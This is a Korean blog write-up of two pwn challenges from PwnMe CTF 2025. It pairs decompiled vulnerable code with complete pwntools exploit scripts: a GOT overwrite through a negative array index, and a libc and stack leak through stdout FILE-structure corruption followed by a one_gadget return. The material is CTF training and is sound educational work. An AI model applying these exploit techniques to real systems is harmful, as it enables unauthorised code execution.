Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

PwnMe CTF 2025 - PWN 본문

CTF

PwnMe CTF 2025 - PWN

pdw0412 2025. 3. 9. 17:20

- GOT

- Einstein

 

 

 

GOT

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  idx = 0;
  puts("Hey ! I've never seen Game of Thrones and i think i misspelled a name, can you help me ?");
  puts("Which name is misspelled ?\n1. John\n2. Daenarys\n3. Bran\n4. Arya");
  fwrite("> ", 1uLL, 2uLL, stdout);
  __isoc99_scanf("%d", &idx);
  if ( idx > 4 )
  {
    puts("Huuuhhh, i do not know that many people yet...");
    _exit(0);
  }
  puts("Oh really ? What's the correct spelling ?");
  fwrite("> ", 1uLL, 2uLL, stdout);
  read(0, &PNJs[idx], 0x20uLL);
  puts("Thanks for the help, next time i'll give you a shell, i already prepared it :)");
  return 0;
}

 

idx에 음수를 입력받을 수 있기 때문에 read() 에서 oob가 발생한다.

 

 

void __cdecl shell()
{
  system("/bin/sh");
}
.got.plt:0000000000403FE8 ; ===========================================================================
.got.plt:0000000000403FE8
.got.plt:0000000000403FE8 ; Segment type: Pure data
.got.plt:0000000000403FE8 ; Segment permissions: Read/Write
.got.plt:0000000000403FE8 _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000403FE8                 assume cs:_got_plt
.got.plt:0000000000403FE8                 ;org 403FE8h
.got.plt:0000000000403FE8 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000403FF0 qword_403FF0    dq 0                    ; DATA XREF: sub_401020↑r
.got.plt:0000000000403FF8 qword_403FF8    dq 0                    ; DATA XREF: sub_401020+6↑r
.got.plt:0000000000404000 off_404000      dq offset _exit         ; DATA XREF: __exit↑r
.got.plt:0000000000404008 off_404008      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000404010 off_404010      dq offset __stack_chk_fail
.got.plt:0000000000404010                                         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000404018 off_404018      dq offset system        ; DATA XREF: _system↑r
.got.plt:0000000000404020 off_404020      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000404028 off_404028      dq offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0000000000404030 off_404030      dq offset __isoc99_scanf
.got.plt:0000000000404030                                         ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000404038 off_404038      dq offset fwrite        ; DATA XREF: _fwrite↑r
.got.plt:0000000000404038 _got_plt        ends
.got.plt:0000000000404038
.data:0000000000404040 ; ===========================================================================
....
.bss:0000000000404060 ; ===========================================================================
.bss:0000000000404060
.bss:0000000000404060 ; Segment type: Uninitialized
.bss:0000000000404060 ; Segment permissions: Read/Write
.bss:0000000000404060 _bss            segment align_32 public 'BSS' use64
.bss:0000000000404060                 assume cs:_bss
.bss:0000000000404060                 ;org 404060h
.bss:0000000000404060                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000404060                 public __bss_start
.bss:0000000000404060 __bss_start     db ?                    ; DATA XREF: sub_401160+4↑r
.bss:0000000000404060                                         ; sub_401160+16↑w
.bss:0000000000404061                 align 20h
.bss:0000000000404080                 public PNJs
.bss:0000000000404080 ; identity_0 PNJs[4]
.bss:0000000000404080 PNJs            identity_0 4 dup(<?>)   ; DATA XREF: main+DC↑o
.bss:0000000000404080 _bss            ends
.bss:0000000000404080

 

PNJs 에서 got에 접근할 수 있다. puts got를 shell()로 overwrite하면 쉘을 얻을 수 있다.

 

 

from pwn import *

p=process('./got')

shell=0x00000000004012B8

p.sendlineafter(b'> ', b'-4')

payload=p64(shell)*2
p.sendafter(b'> ', payload)

p.interactive()

 

 

 

 

 

Einstein

int __cdecl handle()
{
  int offset; // [rsp+8h] [rbp-38h] BYREF
  unsigned int size; // [rsp+Ch] [rbp-34h] BYREF
  unsigned __int64 *wher; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 wat; // [rsp+18h] [rbp-28h] BYREF
  unsigned __int64 *wher2; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 wat2; // [rsp+28h] [rbp-18h] BYREF
  void *allocated; // [rsp+30h] [rbp-10h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  puts("\nHow long is your story ?");
  __isoc99_scanf("%u", &size);
  if ( size <= 0x27 )
  {
    puts("Well... It seems you don't really want to talk to me that much, cya.");
    _exit(1337);
  }
  allocated = malloc(size);
  puts("What's the distortion of time and space ?");
  __isoc99_scanf("%u", &offset);
  puts(
    "Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"
    ", use them wisely.");
  read(0, (char *)allocated + offset, 0x22uLL);
  puts("Everything is relative... Or is it ???");
  __isoc99_scanf("%llu %llu", &wher, &wat);
  __isoc99_scanf("%llu %llu", &wher2, &wat2);
  *wher = wat;
  *wher2 = wat2;
  return 0;
}

 

malloc size 제한이 없으며, 22byte read()의 chunk offset에도 제한이 없고, 2번의 aaw 기회가 주어진다. 익스플로잇에서 가장 먼저 해야할 것은 stack leak과 libc leak이다.

 

 

pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7ff6e102c000     0x7ff6e1130000 rw-p   104000      0 [anon_7ff6e102c]
►   0x7ff6e1130000     0x7ff6e1156000 r--p    26000      0 /libc.so.6
►   0x7ff6e1156000     0x7ff6e12d5000 r-xp   17f000  26000 /libc.so.6
►   0x7ff6e12d5000     0x7ff6e132a000 r--p    55000 1a5000 /libc.so.6
►   0x7ff6e132a000     0x7ff6e132e000 r--p     4000 1f9000 /libc.so.6
►   0x7ff6e132e000     0x7ff6e1330000 rw-p     2000 1fd000 /libc.so.6
    0x7ff6e1330000     0x7ff6e133f000 rw-p     f000      0 [anon_7ff6e1330]
pwndbg> p/x 0x7ff6e1130000-0x7ff6e102c010
$1 = 0x103ff0

 

size를 0x100000으로 설정하고 rax를 보면 0x7ff6e102c010이다. libc base는 0x7ff6e1130000이므로 libc에 aaw가 가능하다.

 

 

__isoc99_scanf("%u", &offset);
  puts(
    "Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"
    ", use them wisely.");
  read(0, (char *)allocated + offset, 0x22uLL);
  puts("Everything is relative... Or is it ???");

 

read() 이후 puts()를 실행하므로 stdout의 IO FILE을 수정해서 stack, libc leak을 동시에 진행할 수 있다.

 

 

 

stdout+0x120에 stack 주소가 있다. _IO_ptr_write(stdout+0x28)를 수정해서 stdout+0x120 까지 출력하게 만들 수 있으며 이를 통해 leak이 가능하다.

 

 

 

leak 이후 handle()을 나오면 main()에서 SYS_exit()가 호출된다. 레지스터 상태를 보면 rax가 0인것을 확인할 수 있다.

 

 

$ one_gadget ./libc.so.6
0x54f4c posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x16b4aa, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x54f53 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x16b4aa, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xeb60e execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

 

2번의 aaw가 가능하므로 return address를 첫번째 원가젯으로 덮고, [rbx]==NULL 컨디션을 맞추기 위해 [rbx] 를 0으로 수정하면 된다.

 

 

 

from pwn import *

log = lambda x : print(f'[*] {x} : {hex(eval(x))}')

p=process('./einstein_patched')
l=ELF('./libc.so.6')

p.sendlineafter(b'How long is your story ?\n', str(0x100000).encode())
offset=0x103ff0+l.symbols['_IO_2_1_stdout_']+0x28 #_IO_write_ptr
log('offset')

p.sendlineafter(b'What\'s the distortion of time and space ?\n', str(offset).encode())
p.sendafter(b'wisely.\n', b'\xc8')

data=p.recv()
libc_base=u64(data[0x5:0xd])-0x2008f0
log('libc_base')
stack=u64(data[0x9d:0xa5])-0x120
log('stack')

oneshot=libc_base+0x54f4c

p.sendline(str(stack).encode())
p.sendline(str(oneshot).encode())
p.sendline(str(stack+0x120).encode()) #[rbx]=0
p.sendline(b'0')

p.interactive()

'CTF' 카테고리의 다른 글

WolvCTF 2025 - PWN  (0) 2025.03.24
EHAX CTF 2025  (0) 2025.02.17
CCE 2024 Quals | Pwn - Untrusted Compiler  (0) 2025.02.03
YISF 2024 Finals | Pwn - Happy SIGnal  (0) 2025.01.21
UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15